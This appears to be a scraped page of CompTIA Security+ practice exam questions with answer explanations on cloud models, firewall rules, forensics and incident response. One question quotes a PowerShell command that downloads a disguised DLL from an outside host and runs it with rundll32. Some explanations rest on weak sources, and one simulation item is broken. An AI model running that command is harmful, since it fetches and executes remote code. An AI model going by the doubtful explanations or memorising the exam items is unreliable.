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NEW QUESTION 1
A business is looking for a cloud service provider that offers a la carte services, including cloud backups, VM elasticity, and secure networking. Which of the following cloud service provider types should business engage?
- A. A laaS
- B. PaaS
- C. XaaS
- D. SaaS
Infrastructure as a Service (IaaS) providers offer a la carte services, including cloud backups, VM elasticity, and secure networking. With IaaS, businesses can rent infrastructure components such as virtual machines, storage, and networking from a cloud service provider. References: CompTIA Security+ Study Guide, pages 233-234
NEW QUESTION 2
Which of the following describes the exploitation of an interactive process to gain access to restricted areas?
- A. Persistence
- B. Port scanning
- C. Privilege escalation
- D. Pharming
Privilege escalation describes the exploitation of an interactive process to gain access to restricted areas. It is a type of attack that allows a normal user to obtain higher privileges or access rights on a system or network, such as administrative or root access. Privilege escalation can be achieved by exploiting a vulnerability, design flaw, or misconfiguration in the system or application. Privilege escalation can allow an attacker to perform unauthorized actions, such as accessing sensitive data, installing malware, or compromising other systems. References:
NEW QUESTION 3
A security engineer is installing a WAF to protect the company's website from malicious web requests over SSL. Which of the following is needed to meet the objective?
- A. A reverse proxy
- B. A decryption certificate
- C. A spill-tunnel VPN
- D. Load-balanced servers
A Web Application Firewall (WAF) is a security solution that protects web applications from various types of attacks such as SQL injection, cross-site scripting (XSS), and others. It is typically deployed in front of web servers to inspect incoming traffic and filter out malicious requests.
To protect the company’s website from malicious web requests over SSL, a decryption certificate is needed to decrypt the SSL traffic before it reaches the WAF. This allows the WAF to inspect the traffic and filter out malicious requests.
NEW QUESTION 4
Which of the following has been implemented when a host-based firewall on a legacy Linux system allows connections from only specific internal IP addresses?
- A. Compensating control
- B. Network segmentation
- C. Transfer of risk
- D. SNMP traps
A compensating control is a type of security control that is implemented in lieu of a recommended security measure that is deemed too difficult or impractical to implement at the present time. A compensating control must provide equivalent or comparable protection for the system or network and meet the intent and rigor of the original security requirement. An example of a compensating control is using a host-based firewall on a legacy Linux system to allow connections from only specific internal IP addresses, as it can provide a similar level of defense as a network firewall that may not be compatible with the system. References:
NEW QUESTION 5
A company would like to move to the cloud. The company wants to prioritize control and security over cost and ease of management. Which of the following cloud models would best suit this company's priorities?
- A. Public
- B. Hybrid
- C. Community
- D. Private
A private cloud model would best suit the company's priorities of control and security over cost and ease of management. In a private cloud, the infrastructure is dedicated to a single organization, providing greater control over the environment and the ability to implement strict security measures. This is in contrast to public, community, or hybrid cloud models, where resources are shared among multiple organizations, potentially compromising control and security. While private clouds can be more expensive and more difficult to manage, they the highest level of control and security for the company.
- CompTIA Security+ Certification Exam Objectives (SY0-601), Section 3.2: "Explain the importance of secure staging deployment concepts."
- Cisco: Private Cloud - https://www.cisco.com/c/en/us/solutions/cloud/private-cloud.html
NEW QUESTION 6
Which of the following describes where an attacker can purchase DDoS or ransomware services?
- A. Threat intelligence
- B. Open-source intelligence
- C. Vulnerability database
- D. Dark web
The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services. According to the CompTIA Security+ SY0-601 Official Text Book, attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.
NEW QUESTION 7
A Chief information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares Which of the following should the company implement?
- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI
Data Loss Prevention (DLP) can help prevent employees from stealing data by monitoring and controlling access to sensitive data. DLP can also detect and block attempts to transfer sensitive data outside of the organization, such as via email, file transfer, or cloud storage.
References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 10: Managing Identity and Access, p. 465
NEW QUESTION 8
A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?
- A. pcap reassembly
- B. SSD snapshot
- C. Image volatile memory
- D. Extract from checksums
The best technique for the digital forensics team to use to obtain a sample of the malware binary is to image volatile memory. Volatile memory imaging is a process of collecting a snapshot of the contents of a computer's RAM, which can include active malware programs. According to the CompTIA Security+
SY0-601 Official Text Book, volatile memory imaging can be used to capture active malware programs that are running in memory, but have not yet been committed to disk. This technique is especially useful in cases where the malware is designed to self-destruct or erase itself from the disk after execution.
NEW QUESTION 9
During an investigation, the incident response team discovers that multiple administrator accounts were suspected of being compromised. The host audit logs indicate a repeated brute-force attack on a single administrator account followed by suspicious logins from unfamiliar geographic locations. Which of the following data sources would be BEST to use to assess the accounts impacted by this attack?
- A. User behavior analytics
- B. Dump files
- C. Bandwidth monitors
- D. Protocol analyzer output
User behavior analytics (UBA) would be the best data source to assess the accounts impacted by the attack, as it can identify abnormal activity, such as repeated brute-force attacks and logins from unfamiliar geographic locations, and provide insights into the behavior of the impacted accounts. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 7: Incident Response, pp. 338-341
NEW QUESTION 10
During a security incident the security operations team identified sustained network traffic from a malicious IP address: 10.1.4.9 A security analyst is creating an inbound firewall rule to block the IP address from accessing the organization's network. Which of the following fulfills this request?
- A. access-list inbound deny ip source 0.0.0.0/0 destination 10.1.4.9/32
- B. access-list inbound deny ip source 10.1.4.9/32 destination 0.0.0.0/0
- C. access-list inbound permit ip source 10.1.4.9/32 destination 0.0.0.0/0
- D. access-list inbound permit ip source 0.0.0.0/0 destination 10.1.4.9/32
This command creates an inbound access list that denies any IP traffic from the source IP address of 10.1.4.9/32 to any destination IP address (0.0.0.0/0). It blocks the originating source of malicious traffic from accessing the organization’s network.
NEW QUESTION 11
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?
- A. A Powershell code is performing a DLL injection.
- B. A PowerShell code is displaying a picture.
- C. A PowerShell code is configuring environmental variables.
- D. A PowerShell code is changing Windows Update settings.
According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
NEW QUESTION 12
A newly purchased corporate WAP needs to be configured in the MOST secure manner possible. INSTRUCTIONS
Please click on the below items on the network diagram and configure them accordingly:
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Wireless Access Point Network Mode – G only Wireless Channel – 11
Wireless SSID Broadcast – disable Security settings – WPA2 Professional
Does this meet the goal?
- A. Yes
- B. Not Mastered
NEW QUESTION 13
The help desk has received calls from users in multiple locations who are unable to access core network services The network team has identified and turned off the network switches using remote commands. Which of the following actions should the network team take NEXT?
- A. Disconnect all external network connections from the firewall
- B. Send response teams to the network switch locations to perform updates
- C. Turn on all the network switches by using the centralized management software
- D. Initiate the organization's incident response plan.
An incident response plan is a set of procedures and guidelines that defines how an organization should respond to a security incident. An incident response plan typically includes the following phases: preparation, identification, containment, eradication, recovery, and lessons learned.
If the help desk has received calls from users in multiple locations who are unable to access core network services, it could indicate that a network outage or a denial-of-service attack has occurred. The network team has identified and turned off the network switches using remote commands, which could be a containment measure to isolate the affected devices and prevent further damage.
The next action that the network team should take is to initiate the organization’s incident response plan, which would involve notifying the appropriate stakeholders, such as management, security team, legal team, etc., and following the predefined steps to investigate, analyze, document, and resolve the incident.
The other options are not correct because:
A. Disconnect all external network connections from the firewall. This could be another containment measure to prevent external attackers from accessing the network, but it would also disrupt legitimate network traffic and services. This action should be taken only if it is part of the incident response plan and after notifying the relevant parties.
B. Send response teams to the network switch locations to perform updates. This could be a recovery measure to restore normal network operations and apply patches or updates to prevent future incidents, but it should be done only after the incident has been properly identified, contained, and eradicated.
C. Turn on all the network switches by using the centralized management software. This could be a recovery measure to restore normal network operations, but it should be done only after the incident has been properly identified, contained, and eradicated.
According to CompTIA Security+ SY0-601 Exam Objectives 1.5 Given a scenario, analyze indicators of compromise and determine the type of malware:
“An incident response plan is a set of procedures and guidelines that defines how an organization should respond to a security incident. An incident response plan typically includes the following phases: preparation, identification, containment, eradication, recovery, and lessons learned.”
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives
NEW QUESTION 14
A cybersecurity administrator needs to allow mobile BYOD devices to access network resources. As the devices are not enrolled to the domain and do not have policies applied to them, which of the following are best practices for authentication and infrastructure security? (Select TWO).
- A. Create a new network for the mobile devices and block the communication to the internal network and servers
- B. Use a captive portal for user authentication.
- C. Authenticate users using OAuth for more resiliency
- D. Implement SSO and allow communication to the internal network
- E. Use the existing network and allow communication to the internal network and servers.
- F. Use a new and updated RADIUS server to maintain the best solution
When allowing mobile BYOD devices to access network resources, using a captive portal for user authentication and authenticating users using OAuth are both best practices for authentication and infrastructure security. A captive portal requires users to authenticate before accessing the network and can be used to enforce policies and restrictions. OAuth allows users to authenticate using third-party providers, reducing the risk of password reuse and credential theft. References: CompTIA Security+ Study Guide, pages 217-218, 225-226
NEW QUESTION 15
Which of the following conditions impacts data sovereignty?
- A. Rights management
- B. Criminal investigations
- C. Healthcare data
- D. International operations
Data sovereignty refers to the legal concept that data is subject to the laws and regulations of the country in which it is located. International operations can impact data sovereignty as companies operating in multiple countries may need to comply with different laws and regulations. References:
CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 5
NEW QUESTION 16
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